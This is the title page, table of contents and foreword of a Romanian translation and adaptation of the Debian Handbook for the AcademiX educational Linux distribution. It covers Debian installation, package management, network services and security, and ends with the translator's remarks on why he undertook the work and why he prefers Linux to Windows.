1

Manualul AcademiX
Linux pentru Educație

Traducere și adaptare după Debian Handbook (Buster)

Stefan Keresztes <academixproject.com> 2020

2
1. Proiectul AcademiX..........................................................................................................19
1.1. Ce este AcademiX....................................................................................................19
1.1.1. Cum a apărut AcademiX...................................................................................20
1.1.2. Scopul AcademiX..............................................................................................20
1.1.3. De ce Debian?...................................................................................................20
1.2. Ce este Debian?.......................................................................................................21
1.2.1. Un sistem de operare multi-platformă...............................................................22
1.2.2. Calitatea software-ului liber...............................................................................22
1.2.3. Cadrul legal: o organizație non-profit................................................................23
1.3. Documentele Fundației.............................................................................................23
1.3.1. Angajamentul față de utilizatori.........................................................................23
1.3.2. Ghidul software-ului liber Debian......................................................................24
1.4. Munca internă în Debian Project..............................................................................26
1.4.1. Dezvoltatorii Debian..........................................................................................26
1.4.2. Rolul activ al utilizatorilor...................................................................................29
1.4.2.1. Raportarea erorilor.....................................................................................29
1.4.2.2. Traducere și documentație.........................................................................30
1.4.2.3. Trimiterea remedierilor...............................................................................30
1.4.2.4. Alte moduri de a contribui..........................................................................31
1.4.3. Echipe și subproiecte........................................................................................32
1.4.3.1. Subproiecte existente în Debian................................................................32
1.4.3.2. Echipe administrative.................................................................................32
1.4.3.3. Echipe de dezvoltare, echipe multidisciplinare..........................................33
1.5. Urmăriți Debian News...............................................................................................34
1.6. Rolul distribuțiilor......................................................................................................35
1.6.1. Instalatorul: debian-installer..............................................................................35
1.6.2. Software-ul bibliotecă (bază de date)................................................................35
1.7. Ciclul de viață al unei versiuni..................................................................................36
1.7.1. Starea versiunii Experimental...........................................................................36
1.7.2. Starea versiunii Unstable..................................................................................36
1.7.3. Migrarea la Testing............................................................................................37
1.7.4. Avansarea de la Testing la Stable....................................................................38
1.7.5. Starea lui Oldstable și Oldoldstable..................................................................40
2. Prezentarea studiului de caz............................................................................................43
2.1. Nevoile IT într-o dezvoltare rapidă...........................................................................44
2.2. Planul general...........................................................................................................44
2.3. De ce o distribuție GNU/Linux?................................................................................45
2.4. De ce distribuția AcademiX, bazată pe Debian?......................................................45
2.4.1. Distribuții comerciale sau distribuții conduse de comunitate............................46
2.5. De ce Debian Buster?...............................................................................................46
3. Configurația existentă și migrarea...................................................................................49
3.1. Coexistența în medii eterogene................................................................................50
3.1.1. Integrarea cu mașinile Windows.......................................................................50
3.1.2. Integrarea cu mașinile OS X.............................................................................50
3.1.3. Integrarea cu alte mașini Linux/Unix.................................................................50
3.2. Cum se migrează......................................................................................................51
3.2.1. Servicii de supraveghere și identificare.............................................................51
3.2.1.1. Rețea și procese........................................................................................51
3.2.2. Copia de rezervă a configurației.......................................................................52
3.2.3. Preluarea unui server Debian existent..............................................................53

3
 3.2.4. Instalarea AcademiX.........................................................................................53
3.2.5. Instalarea și configurarea serviciilor selectate..................................................54
4. Instalarea.........................................................................................................................57
4.1. Metode de instalare..................................................................................................58
4.1.1. Instalarea de pe un CD-ROM/DVD-ROM.........................................................58
4.1.2. Pornirea de pe un stick USB.............................................................................59
4.1.3. Alte metode de instalare....................................................................................60
4.2. Înainte de instalare...................................................................................................60
4.2.1. Considerații pentru calculatoarele tradiționale..................................................60
4.2.2. UEFI + GPT rezolvă totul..................................................................................60
4.2.3. Adăugarea automată a lui Windows în meniul de încărcare GRUB.................60
4.3. Instalarea, pas cu pas...............................................................................................61
4.3.1. Boot-area și pornirea instalatorului...................................................................61
4.3.2. Selectarea limbii................................................................................................62
4.3.3. Selectarea țării...................................................................................................63
4.3.4. Selectarea aspectului tastaturii.........................................................................63
4.3.5. Detectarea hardware-ului..................................................................................63
4.3.6. Încărcarea componentelor.................................................................................64
4.3.7. Detectarea hardware-ului de rețea....................................................................64
4.3.8. Configurarea rețelei...........................................................................................64
4.3.9. Parolă de administrator.....................................................................................64
4.3.10. Crearea primului utilizator...............................................................................65
4.3.11. Configurarea ceasului......................................................................................65
4.3.12. Detectarea discurilor și a altor dispozitive.......................................................65
4.3.13. Pornirea instrumentului de partiționare...........................................................65
4.3.13.1. Partiționarea ghidată................................................................................67
4.3.13.2. Partiționarea manuală..............................................................................68
4.3.14. Instalarea de bază a sistemului.......................................................................69
4.3.15. Configurarea managerului de pachete (apt)...................................................69
4.3.16. Instalare GRUB bootloader.............................................................................70
4.3.17. Finalizarea instalării și repornirea...................................................................71
4.4. După prima pornire...................................................................................................71
4.4.1. Instalarea software-ului suplimentar.................................................................71
4.4.2. Actualizarea sistemului......................................................................................72
5. Sistemul de împachetare: instrumente și principii fundamentale....................................75
5.1. Structura unui pachet binar......................................................................................76
5.2. Pachet meta-informații..............................................................................................77
5.2.1. Descriere: fișierul control...................................................................................77
5.2.1.1. Dependențe: câmpul Depends..................................................................78
5.2.1.2. Conflicte: câmpul Conflicts.........................................................................79
5.2.1.3. Incompatibilități: câmpul Breaks................................................................79
5.2.1.4. Elemente furnizate: câmpul Provides........................................................79
5.2.1.4.1. Furnizarea unui “Service”...................................................................80
5.2.1.4.2. Interschimbabilitatea cu un alt pachet................................................80
5.2.1.4.3. Limitări din trecut................................................................................81
5.2.1.5. Înlocuirea fișierelor: câmpul Replaces.......................................................81
5.2.2. Scripturi de configurare.....................................................................................81
5.2.2.1. Instalare și upgrade....................................................................................82
5.2.2.2. Eliminarea pachetelor................................................................................82
5.2.3. Checksums, lista fișierelor de configurare........................................................83

4
 5.3. Structura unui pachet sursă......................................................................................84
5.3.1. Format...............................................................................................................84
5.3.2. Utilizarea în Debian...........................................................................................86
5.4. Manipularea pachetelor cu dpkg..............................................................................86
5.4.1. Instalarea pachetelor.........................................................................................86
5.4.2. Eliminarea unui pachet......................................................................................87
5.4.3. Interogarea bazei de date a dpkg și inspectarea fișierelor .deb.......................88
5.4.4. Fișierul jurnal al dpkg........................................................................................91
5.4.5. Asistență multi-arch...........................................................................................91
5.4.5.1. Activarea multi-arch...................................................................................91
5.4.5.1. Modificări legate de arhitecturi multiple.....................................................92
5.5. Coexistența cu alte sisteme de împachetare...........................................................92
6. Întreținere și actualizări:instrumentele APT.....................................................................96
6.1. Completarea în fișierul sources.list...........................................................................97
6.1.1. Sintaxă...............................................................................................................97
6.1.2. Depozite pentru utilizatorii versiunii stabile.......................................................98
6.1.2.1. Actualizări de securitate.............................................................................99
6.1.2.2. Actualizări pentru Stable............................................................................99
6.1.2.3. Actualizări propuse.....................................................................................99
6.1.2.4. Stable backports........................................................................................99
6.1.3. Depozite pentru utilizatorii ramurilor Testing/Unstable....................................100
6.1.3.1. Depozitul Experimental............................................................................100
6.1.4. Folosirea oglinzilor alternative.........................................................................101
6.1.5. Resurse non-oficiale: mentors.debian.net......................................................101
6.1.6. Cache-area proxy pentru pachete Debian......................................................102
6.2. Comenzile aptitude, apt-get și apt..........................................................................102
6.2.1. Inițializarea......................................................................................................103
6.2.2. Instalarea și eliminarea...................................................................................103
6.2.3. System upgrade..............................................................................................105
6.2.4. Opțiuni de configurare.....................................................................................105
6.2.5. Gestionarea priorității pachetelor....................................................................106
6.2.6. Lucrul cu mai multe distribuții..........................................................................107
6.2.7. Urmărirea pachetelor instalate automat..........................................................108
6.3. Comanda apt-cache...............................................................................................109
6.4. Comanda apt-file.....................................................................................................110
6.5. Interfețe grafice:aptitude, synaptic..........................................................................111
6.5.1. aptitude............................................................................................................111
6.5.1.1. Gestionarea recomandărilor, sugestiilor și sarcinilor...............................112
6.5.1.2. Algoritmi pentru o rezolvare mai bună.....................................................112
6.5.2. synaptic............................................................................................................113
6.6. Verificarea autenticității pachetului.........................................................................113
6.7. Trecerea de la o distribuție stabilă la următoarea..................................................115
6.7.1. Procedura recomandată..................................................................................115
6.7.2. Tratarea problemelor după o actualizare........................................................116
6.7.3. Curățenia după o actualizare...........................................................................117
6.7.3.1. Pachete eliminate din arhiva Debian.......................................................117
6.7.3.2. Pachete fictive și tranzitorii.......................................................................117
6.7.3.3. Fișiere de configurare vechi sau neutilizate.............................................117
6.7.3.4. Fișiere care nu sunt deținute de niciun pachet........................................117
6.8. Menținerea la zi a unui sistem................................................................................118

5
 6.9. Automatic upgrades................................................................................................119
6.9.1. Configurarea dpkg...........................................................................................119
6.9.2. Configurarea APT............................................................................................119
6.9.3. Configurarea debconf......................................................................................119
6.9.4. Manipularea interacțiunilor în linia de comandă..............................................119
6.9.5. Combinația minune.........................................................................................120
6.10. Căutarea pachetelor.............................................................................................120
7. Rezolvarea problemelor și găsirea informațiilor relevante............................................125
7.1. Sursele documentației............................................................................................126
7.1.1. Pagini de manual.............................................................................................126
7.1.2. Documentele info............................................................................................127
7.1.3. Documentație specifică...................................................................................128
7.1.4. Pagini de internet............................................................................................128
7.1.5. Tutoriale (HOWTO).........................................................................................129
7.2. Proceduri de bază...................................................................................................129
7.2.1. Configurarea unui program.............................................................................129
7.2.2. Monitorizarea activității daemonilor.................................................................130
7.2.3. Solicitarea ajutorului pe lista de corespondență.............................................130
7.2.4. Raportarea unei erori când o problemă este prea dificilă...............................131
8. Configurarea de bază: rețea, conturi, tipărire................................................................134
8.1. Configurarea sistemului pentru o altă limbă...........................................................135
8.1.1. Setarea limbii implicite.....................................................................................135
8.1.2. Configurarea tastaturii.....................................................................................136
8.1.3. Migrarea către UTF-8......................................................................................136
8.2. Configurarea rețelei................................................................................................137
8.2.1. Interfața ethernet.............................................................................................138
8.2.2. Interfața fără fir................................................................................................139
8.2.2.1. Instalarea firmware-urilor necesare.........................................................139
8.2.2.2. Intrări specifice wireless în /etc/network/interfaces.................................139
8.2.3. Conectarea cu PPP printr-un modem PSTN..................................................140
8.2.4. Conectarea printr-un modem ADSL................................................................140
8.2.4.1. Modemuri care acceptă PPPOE..............................................................140
8.2.4.2. Modemuri care acceptă PPTP.................................................................141
8.2.4.3. Modemuri care acceptă DHCP................................................................141
8.2.5. Configurare automată a rețelei pentru utilizatorii în roaming..........................141
8.3. Setarea hostname și configurarea name service...................................................141
8.3.1. Name resolution..............................................................................................142
8.3.1.1. Configurarea DNS server.........................................................................142
8.3.1.2. Fișierul /etc/hosts.....................................................................................142
8.4. Baze de date de utilizatori și grupuri......................................................................143
8.4.1. Lista utilizatorilor: /etc/passwd........................................................................143
8.4.2. Fișierul cu parolă ascunsă și criptată: /etc/shadow.........................................144
8.4.3. Modificarea unui cont sau a unei parole existente..........................................144
8.4.4. Dezactivarea unui cont....................................................................................144
8.4.5. Lista grupului: /etc/group.................................................................................144
8.5. Crearea conturilor...................................................................................................145
8.6. Shell environment...................................................................................................146
8.7. Printer configuration................................................................................................147
8.8. Configurarea bootloader.........................................................................................147
8.8.1. Identificarea discurilor.....................................................................................147

6
 8.8.2. Configurarea LILO...........................................................................................149
8.8.3. Configurare GRUB 2.......................................................................................150
8.9. Alte configurări: sincronizarea timpului, jurnale, acces la partajare.......................150
8.9.1. Timezone.........................................................................................................150
8.9.2. Sincronizarea timpului.....................................................................................151
8.9.2.1. Pentru stațiile de lucru.............................................................................151
8.9.2.2. Pentru servere..........................................................................................152
8.9.3. Rotirea fișierelor jurnal....................................................................................152
8.9.4. Partajarea drepturilor de administrator............................................................152
8.9.5. Lista punctelor de montare..............................................................................153
8.9.6. locate și updatedb...........................................................................................154
8.10. Compilarea unui kernel.........................................................................................154
8.10.1. Introducere și cerințe preliminare..................................................................155
8.10.2. Obținerea surselor.........................................................................................155
8.10.3. Configurarea nucleului..................................................................................156
8.10.4. Compilarea și construirea pachetului............................................................156
8.10.5. Compilarea modulelor externe......................................................................157
8.10.6. Aplicarea unui kernel patch...........................................................................158
8.11. Instalarea unui nucleu...........................................................................................158
8.11.1. Caracteristicile unui pachet de kernel Debian...............................................158
8.11.2. Instalarea cu dpkg.........................................................................................158
9. Serviciile Unix.................................................................................................................162
9.1. System boot............................................................................................................163
9.1.1. Sistemul systemd init.......................................................................................163
9.1.2. Sistemul System V init.....................................................................................167
9.2 Autentificare la distanță...........................................................................................169
9.2.1. Conectare sigură la distanță: SSH..................................................................169
9.2.1.1. Autentificarea bazată pe cheie.....................................................................170
9.2.1.2. Utilizarea la distanță a aplicațiilor X11..........................................................171
9.2.1.3. Crearea tunelurilor criptate cu port forwarding.............................................171
9.2.2. Folosirea desktopurilor grafice la distanță......................................................172
9.3. Gestionarea drepturilor...........................................................................................173
9.4. Interfețe de administrare.........................................................................................175
9.4.1. Administrarea pe o interfață web: webmin......................................................175
9.4.2. Configurarea pachetelor: debconf...................................................................176
9.5. Evenimente de sistem syslog.................................................................................177
9.5.1. Principiul și mecanismul..................................................................................177
9.5.2. Fișierul de configurare.....................................................................................177
9.5.2.1. Sintaxa selectorului..................................................................................177
9.5.2.2. Sintaxa acțiunilor......................................................................................178
9.6. inetd super-server...................................................................................................178
9.7. Planificarea sarcinilor cu cron și atd.......................................................................179
9.7.1. Formatul unui fișier crontab.............................................................................180
9.7.2. Folosirea comenzii at......................................................................................181
9.8. Planificarea sarcinilor asincrone: anacron..............................................................181
9.9. Quotas....................................................................................................................182
9.10. Backup..................................................................................................................182
9.10.1. Recuperarea cu rsync...................................................................................183
9.10.2. Restaurarea mașinilor fără copii de rezervă.................................................184
9.11. Cuplare la cald: hotplug........................................................................................185

7
 9.11.1. Introducere.....................................................................................................185
9.11.2. Problema Denumirii.......................................................................................185
9.11.3. Cum funcționează udev.................................................................................185
9.11.4. Un exemplu concret.......................................................................................186
9.12. Gestionarea energiei: configurarea avansată și interfața de alimentare (ACPI)..187
10. Infrastructura Rețelei....................................................................................................190
10.1. Gateway................................................................................................................191
10.2. Certificate X.509...................................................................................................192
10.2.1. Crearea certificatelor de încredere gratuite..................................................192
10.2.2. Infrastructura cheii publice: easy-rsa........................................................194
10.3. Rețea virtuală privată............................................................................................197
10.3.1 OpenVPN.......................................................................................................197
10.3.1.1. Configurarea server-ului OpenVPN.......................................................197
10.3.1.2. Configurarea server-ului OpenVPN.......................................................197
10.3.1.3. Configurarea clientului OpenVPN..........................................................198
10.3.2. Rețea virtuală privată cu SSH.......................................................................198
10.3.3. IPsec..............................................................................................................199
10.3.4. PPTP.............................................................................................................199
10.3.4.1. Configurarea clientului...........................................................................199
10.3.4.2. Configurare server.................................................................................200
10.4. Calitatea serviciului...............................................................................................202
10.4.1. Principiul și mecanismul................................................................................202
10.4.2. Configurarea și implementarea.....................................................................202
10.4.2.1. Reducerea latențelor: wondershaper.....................................................202
10.4.2.2. Configurația standard.............................................................................203
10.5. Rutare dinamică....................................................................................................203
10.6. primaryIPv6...........................................................................................................204
10.6.1. Tunelarea.......................................................................................................204
10.7. Servere de nume de domeniu (DNS)...................................................................205
10.7.1. DNS software................................................................................................205
10.7.2. Configurarea bind..........................................................................................206
10.8. DHCP....................................................................................................................207
10.8.1. Configurarea..................................................................................................207
10.8.2. DHCP și DNS................................................................................................208
10.9. Instrumente de diagnosticare a rețelei.................................................................208
10.9.1. Diagnosticarea locală: netstat.......................................................................208
10.9.2. Diagnosticul la distanță: nmap......................................................................209
10.9.3. Analizoare de pachete: tcpdump și wireshark..............................................210
11. Servicii de rețea: Postfix, Apache, NFS, Samba, Squid, LDAP, SIP, XMPP, TURN....214
11.1. Mail server.............................................................................................................215
11.1.1. Instalarea Postfix...........................................................................................215
11.1.2. Configurarea domeniilor virtuale...................................................................217
11.1.2.1. Domenii virtuale alias.............................................................................217
11.1.2.2. Domenii de căsuțe poștale virtuale........................................................218
11.1.3. Restricții pentru primire și expediere.............................................................219
11.1.3.1. Restricțiile accesului bazat pe IP...........................................................219
11.1.3.2. Verificarea validității comenzilor EHLO sau HELO................................220
11.1.3.3. Acceptarea sau refuzarea pe baza expeditorului anunțat.....................220
11.1.3.4. Acceptarea sau refuzarea bazată pe destinatar....................................221
11.1.3.5. Restricții asociate cu comanda DATA....................................................221

8
 11.1.3.6. Aplicarea restricțiilor...............................................................................221
11.1.3.7. Filtrarea pe baza conținutului mesajului.................................................222
11.1.4. Configurarea greylisting.................................................................................222
11.1.5. Personalizarea filtrelor bazate pe destinatar.................................................223
11.1.6. Integrarea unui antivirus................................................................................224
11.1.7. Combaterea spamului cu SPF, DKIM și DMARC..........................................225
11.1.7.1. Integrarea cadrului de politici ale expeditorului (SPF)...........................225
11.1.7.2. Integrarea autentificării și verificării DomainKeys (DKIM)......................226
11.1.7.3. Integrarea autentificării, raportării și conformității mesajelor bazate pe
domeniu (DMARC)................................................................................................227
11.1.8. SMTP autentificat..........................................................................................228
11.2. Web server (HTTP)...............................................................................................229
11.2.1. Instalarea Apache..........................................................................................229
11.2.2. Adăugarea suportului pentru SSL.................................................................230
11.2.3. Configurarea gazdelor virtuale......................................................................230
11.2.4. Directive generale..........................................................................................231
11.2.4.1. Solicitarea autentificării..........................................................................232
11.2.4.2. Restricționarea accesului.......................................................................232
11.2.5. Analizoare de jurnale.....................................................................................233
11.3. Server de fișiere FTP............................................................................................234
11.4. Server de fișiere NFS............................................................................................235
11.4.1. Securizarea NFS...........................................................................................235
11.4.2. NFS server.....................................................................................................235
11.4.3. Clientul NFS...................................................................................................236
11.5. Configurarea Windows Shares cu Samba............................................................237
11.5.1. Samba server................................................................................................237
11.5.1.1. Configurarea cu debconf........................................................................237
11.5.1.2. Configurare manuală..............................................................................237
11.5.1.2.1. Schimbări în smb.conf....................................................................237
11.5.1.2.2. Adăugarea utilizatorilor...................................................................238
11.5.2. Clientul Samba..............................................................................................238
11.5.2.1. Programul smbclient...............................................................................238
11.5.2.2. Montarea Windows Shares....................................................................238
11.5.2.3. Tipărirea pe o imprimantă partajată.......................................................239
11.6. HTTP/FTP proxy...................................................................................................239
11.6.1. Instalarea.......................................................................................................239
11.6.2. Configurarea unui cache...............................................................................239
11.6.3. Configurarea unui filtru..................................................................................240
11.7. Directorul LDAP....................................................................................................240
11.7.1. Instalarea.......................................................................................................240
11.7.2. Completarea în director.................................................................................241
11.7.3. Gestionarea conturilor cu LDAP....................................................................242
11.7.3.1. Configurarea NSS..................................................................................242
11.7.3.2. Configurarea PAM..................................................................................243
11.7.3.3. Securizarea schimburilor de date LDAP................................................244
11.7.3.3.1. Configurare server..........................................................................244
11.7.3.3.2. Configurarea clientului....................................................................246
11.8. Servicii de comunicație în timp real......................................................................246
11.8.1. Setări DNS pentru serviciile RTC..................................................................247
11.8.2. TURN server..................................................................................................247

9
 11.8.3. SIP proxy server............................................................................................248
11.8.3.1. Instalați SIP proxy...................................................................................248
11.8.4. XMPP server..................................................................................................248
11.8.4.1. Instalarea XMPP server.........................................................................249
11.8.4.2. Administrarea XMPP server...................................................................249
11.8.5. Funcționarea serviciilor pe port 443..............................................................249
11.8.6. Adăugarea WebRTC.....................................................................................249
12. Administrare avansată.................................................................................................253
12.1. RAID și LVM..........................................................................................................254
12.1.1. Software RAID...............................................................................................254
12.1.1.1. Diferite niveluri RAID..............................................................................255
12.1.1.1. Configurarea RAID.................................................................................256
12.1.1.3. Recuperarea configurației......................................................................260
12.1.2. LVM................................................................................................................261
12.1.2.1. Conceptele LVM.....................................................................................261
12.1.2.2. Configurarea LVM..................................................................................261
12.1.2.3. LVM în timp............................................................................................265
12.1.3. RAID sau LVM?.............................................................................................266
12.2. Virtualizarea..........................................................................................................268
12.2.1. Xen................................................................................................................268
12.2.2. LXC................................................................................................................272
12.2.2.1. Etapele preliminare................................................................................273
12.2.2.2. Configurarea rețelei...............................................................................273
12.2.2.3. Configurarea sistemului.........................................................................274
12.2.2.4. Pornirea containerului............................................................................275
12.2.3. Virtualizare cu KVM.......................................................................................275
12.2.3.1. Etapele preliminare................................................................................276
12.2.3.2. Configurarea rețelei...............................................................................276
12.2.3.3. Instalarea cu virt-install..........................................................................276
12.2.3.4. Gestionarea mașinilor cu virsh...............................................................278
12.2.3.5. Instalarea unui sistem bazat pe RPM, în Debian, cu yum.....................278
12.3. Instalare Automată................................................................................................279
12.3.1. Instalatorul complet automat (FAI)................................................................279
12.3.2. Presetarea debian-installer...........................................................................280
12.3.2.1. Utilizarea unui fișier presetat..................................................................280
12.3.2.2. Crearea unui fișier presetat....................................................................280
12.3.2.3. Crearea unui mediu de boot personalizat..............................................281
12.3.2.3.1. Pornirea din rețea...........................................................................281
12.3.2.3.2. Pregătirea unui stick USB boot-abil................................................281
12.3.2.3.3. Crearea unei imagini CD-ROM.......................................................281
12.3.3. Simple-CDD: soluția la pachet......................................................................282
12.3.3.1. Crearea profilurilor.................................................................................282
12.3.3.2. Configurarea și utilizarea build-simple-cdd............................................282
12.3.3.3. Generarea unei imagini ISO..................................................................283
12.4. Monitorizarea........................................................................................................283
12.4.1. Configurarea Munin.......................................................................................283
12.4.1.1. Configurarea gazdelor pentru monitorizare...........................................283
12.4.1.2. Configurarea Grapher............................................................................284
12.4.2. Configurarea Nagios.....................................................................................285
12.4.2.1. Instalarea...............................................................................................285

10
 12.4.2.2. Configurarea..........................................................................................285
13. Stația de lucru..............................................................................................................290
13.1. Configurare X11 server.........................................................................................291
13.2. Personalizarea interfeței grafice...........................................................................292
13.2.2. Alegerea unui manager de ferestre...............................................................292
13.2.3. Managementul meniului................................................................................292
13.3. Afișaje grafice.......................................................................................................293
13.3.1. MATE.............................................................................................................293
13.3.2. GNOME.........................................................................................................294
13.3.3. KDE și Plasma...............................................................................................294
13.3.4. Xfce...............................................................................................................295
13.3.4. Alte desktop environments............................................................................296
13.4. Email.....................................................................................................................296
13.4.1. Evolution........................................................................................................296
13.4.2. KMail..............................................................................................................297
13.4.3. Thunderbird...................................................................................................297
13.5. Navigatoare Web..................................................................................................297
13.6. Dezvoltarea...........................................................................................................299
13.6.1. Instrumente pentru GTK+ pe GNOME..........................................................299
13.6.2. Instrumente pentru Qt...................................................................................299
13.7. Munca în colaborare.............................................................................................299
13.7.1. Grupuri de lucru: groupware.........................................................................299
13.7.2. Lucrări în colaborare, cu FusionForge..........................................................299
13.8. Suitele Office.........................................................................................................300
13.9. Emularea Windows: Wine....................................................................................300
13.10. Software de comunicații în timp real..................................................................301
14. Securitate.....................................................................................................................305
14.1. Definirea unei politici de securitate.......................................................................306
14.2. Firewall sau filtrarea pachetelor............................................................................307
14.2.1. Comportamentul lui ntables..........................................................................307
14.2.2. Trecerea de la iptables la nftables................................................................308
14.2.3. Sintaxa lui nft.................................................................................................310
14.2.4. Instalarea regulilor la fiecare boot.................................................................310
14.3. Supravegherea: prevenire, detectare, determinare..............................................311
14.3.1. Monitorizarea jurnalelor cu logcheck.............................................................311
14.3.2. Monitorizarea activității..................................................................................312
14.3.2.1. În timp real.............................................................................................312
14.3.2.2. Istoricul...................................................................................................312
14.3.3. Evitarea intruziunilor......................................................................................312
14.3.4. Detectarea schimbărilor................................................................................313
14.3.4.1. Auditarea pachetelor cu dpkg –verify.........................................................313
14.3.4.2. Pachetele de audit: debsums și limitele sale.........................................314
14.3.4.3. Fișiere de monitorizare: AIDE................................................................314
14.3.5. Detectarea intruziunilor (IDS/NIDS)..............................................................315
14.4. Introducere în AppArmor......................................................................................316
14.4.1. Principii..........................................................................................................316
14.4.2. Activarea AppArmor și gestionarea profilurilor AppArmor.............................316
14.4.3. Crearea unui nou profil..................................................................................317
14.5. Introducere în SELinux.........................................................................................321
14.5.1. Principii..........................................................................................................321

11
 14.5.2. Configurarea SELinux...................................................................................322
14.5.3. Gestionarea unui sistem SELinux.................................................................323
14.5.3.1. Gestionarea modulelor SELinux............................................................323
14.5.3.2. Gestionarea identităților.........................................................................323
14.5.3.3. Gestionarea contextelor de fișiere, ports și booleans............................324
14.5.4. Adaptarea regulilor........................................................................................325
14.5.4.1. Scrierea unui fișier .fc............................................................................325
14.5.4.2. Scrierea unui fișier .if.............................................................................325
14.5.4.3. Scrierea unui fișier .te............................................................................326
14.5.4.4. Compilarea fișierelor..............................................................................328
14.6 Alte considerente legate de securitate..................................................................328
14.6.1. Riscurile inerente ale aplicațiilor web............................................................328
14.6.2. Cunoașterea consecințelor...........................................................................329
14.6.3. Alegerea chibzuită a software-ului................................................................330
14.6.4. Gestionarea unei mașini ca întreg............................................................330
14.6.5. Utilizatorii sunt jucători..................................................................................330
14.6.6. Siguranță fizică..............................................................................................331
14.6.7. Răspunderea juridică....................................................................................331
14.7. Abordarea unei mașini compromise.....................................................................331
14.7.1. Detectarea și observarea intruziunii crackerului...........................................331
14.7.2. Deconectare server.......................................................................................332
14.7.3. Reținerea tuturor elementelor ca posibile dovezi..........................................332
14.7.4. Reinstalarea..................................................................................................333
14.7.5. Analiza judiciară............................................................................................333
14.7.6. Reconstituirea scenariului de atac................................................................333
15. Crearea pachetului Debian..........................................................................................337
15.1. Reconstruirea unui pachet din sursele sale.........................................................338
15.1.1. Obținerea surselor.........................................................................................338
15.1.2. Efectuarea schimbărilor.................................................................................338
15.1.3. Începerea reconstruirii...................................................................................339
15.2. Construirea primului vostru pachet.......................................................................340
15.2.1. Meta-pachete sau pachete false...................................................................340
15.2.2. Arhiva simplă de fișiere.................................................................................341
15.3. Crearea unui depozit de pachete pentru APT......................................................343
15.4. Aptitudinile unui întreținător de pachete...............................................................345
15.4.1. Studiul creării pachetelor...............................................................................345
15.4.1.1. Reguli.....................................................................................................345
15.4.1.2. Proceduri................................................................................................345
15.4.1.3. Instrumente............................................................................................345
15.4.1.3.1. Programul lintian.............................................................................345
15.4.1.3.2. Programul piuparts.........................................................................345
15.4.1.3.3. devscripts........................................................................................346
15.4.1.3.4. debhelper și dh-make.....................................................................346
15.4.1.3.5. autopkgtest.....................................................................................346
15.4.1.3.6. reprotest..........................................................................................346
15.4.1.3.7. dupload și dput...............................................................................346
15.4.2. Procesul de acceptare...................................................................................346
15.4.2.1. Cerințe preliminare.................................................................................347
15.4.2.2. Înregistrarea...........................................................................................347
15.4.2.3. Acceptarea principiilor............................................................................347

12
 15.4.2.4. Verificarea aptitudinilor...........................................................................348
15.4.2.5. Aprobarea finală.....................................................................................348
16. AcademiX și Debian în viitor........................................................................................351
16.1. Dezvoltări viitoare.................................................................................................352
16.2. Debian în viitor......................................................................................................352
16.3. Viitorul acestei cărți...............................................................................................352
A. Distribuții derivate..........................................................................................................354
A.1. Recensământ și cooperare....................................................................................354
A.2. Ubuntu....................................................................................................................354
A.3. Linux Mint...............................................................................................................355
A.4. Knoppix...................................................................................................................355
A.5. Aptosid și Siduction................................................................................................355
A.6. Grml........................................................................................................................356
A.7. Tails........................................................................................................................356
A.8. Kali Linux................................................................................................................356
A.9. Devuan...................................................................................................................356
A.10. DoudouLinux........................................................................................................356
A.11. Raspbian...............................................................................................................356
A.12. PureOS.................................................................................................................356
A.13. SteamOS..............................................................................................................357
A.14. Și multe altele.......................................................................................................357
B. Scurt curs de remediere................................................................................................359
B.1. Shell și comenzi de bază.......................................................................................359
B.1.1. Navigarea în arborele de directoare și gestionarea fișierelor.........................359
B.1.2. Afișarea și modificarea fișierelor text..............................................................360
B.1.3. Căutarea fișierelor și în fișiere........................................................................360
B.1.4. Gestionarea proceselor...................................................................................360
B.1.5. Informații despre sistem: memorie, spațiu pe disc, identitate.........................360
B.2. Organizarea ierarhiei sistemului de fișiere.............................................................361
B.2.1. Directorul root..................................................................................................361
B.2.2. Directorul home al utilizatorului.......................................................................361
B.3. Cum funcționează computerul: diferitele straturi implicate....................................362
B.3.1. Stratul cel mai de Jos: hardware-ul................................................................362
B.3.2. Starterul: BIOS sau UEFI................................................................................363
B.3.3. Nucleul............................................................................................................363
B.3.4. Spațiul utilizatorului.........................................................................................364
B.4. Câteva sarcini gestionate de kernel.......................................................................364
B.4.1. Manevrarea hardware-ului..............................................................................364
B.4.2. Filesytems.......................................................................................................365
B.4.3. Funcții partajate..............................................................................................365
B.4.4. Gestionarea proceselor...................................................................................365
B.4.5. Managementul drepturilor...............................................................................366
B.5. Spațiul utilizatorului................................................................................................366
B.5.1. Proces.............................................................................................................366
B.5.2. Daemoni..........................................................................................................367
B.5.3. Comunicații inter-procese...............................................................................367
B.5.4. Biblioteci..........................................................................................................368

13
Cuvânt înainte
Manualul AcademiX s-a născut dintr-un alt proiect, Manualul Administratorului Debian, traducere a debian-
handbook. Nu s-a finalizat ușor și nu e perfect. Ar fi putut-o face (traducerea) alții, mult mai ușor și mai bine,
dar până la urmă, oricine a avut aceeași idee, a rămas până acum doar idee.
Adevărul este că nu sunt lingvist, nici IT-ist, nici cel cu ideea, nici orice altceva care să mă califice pentru
această muncă. Dar, am fost cel care s-a pus pe treabă, neașteptând pe “specialiști” să le vină cheful în
lunga lor pasă a responsabilităților, și am zis, cu ceea ce știam, că pot face asta.
Deci, nefiind expert, primesc în liniște criticile pentru colecția de informații preluată din debian-handbook,
căci ce este bun la Debian este și la AcademiX, cu citarea sursei și creditul autorului.
E dovedit că Linux este prezent peste tot, cu o mare popularitate. Din cauza diversității și flexibilității, era
încă puțin adoptat pe desktop. Dar, Linux s-a revigorat în ultimii ani și popularitatea sa în creștere determină
tot mai mulți utilizatori să facă trecerea la el.
Linux a devenit la fel de simplu ca Windows pentru un utilizator obișnuit, de asemenea, este mult mai flexibil
decât Windows. Dar, flexibilitatea vine cu un anumit cost; este alcătuit din sute de programe diferite, realizate
de sute de oameni diferiți, contopiți în comunități.
Flexibilitatea înseamnă că, dacă știm, ne putem configura sistemul după dorință. Dar, și aceasta vine un
cost: căutăm și învățăm. E de muncă pentru a căuta, a învăța cum să ne realizăm sarcinile, dar aduce marea
satisfacție că, în final, vom avea mașina pe care o conducem, o controlăm, iar nu invers. Ce e mai plăcut
decât să-ți vezi computerul puternic și cu o rată de îmbunătățire mare, datorată eforturilor proprii?
În Windows aveți ce vi se dă, sunteți constrâns. Pare rapid doar după instalare, apoi din cauză că aveți
actualizări care nu se mai termină, chiar în mijlocul celei mai importante activități, ale voastre, periodic
trebuie reinstalat. Mai adăugăm BSOD, spaima multora... În Linux afli lucruri noi pe care le determini să facă
ce vrei, iar computerul vostru funcționează bine, situația e sub control și vă simțiți stăpânul. Toate făcute cu
știință.
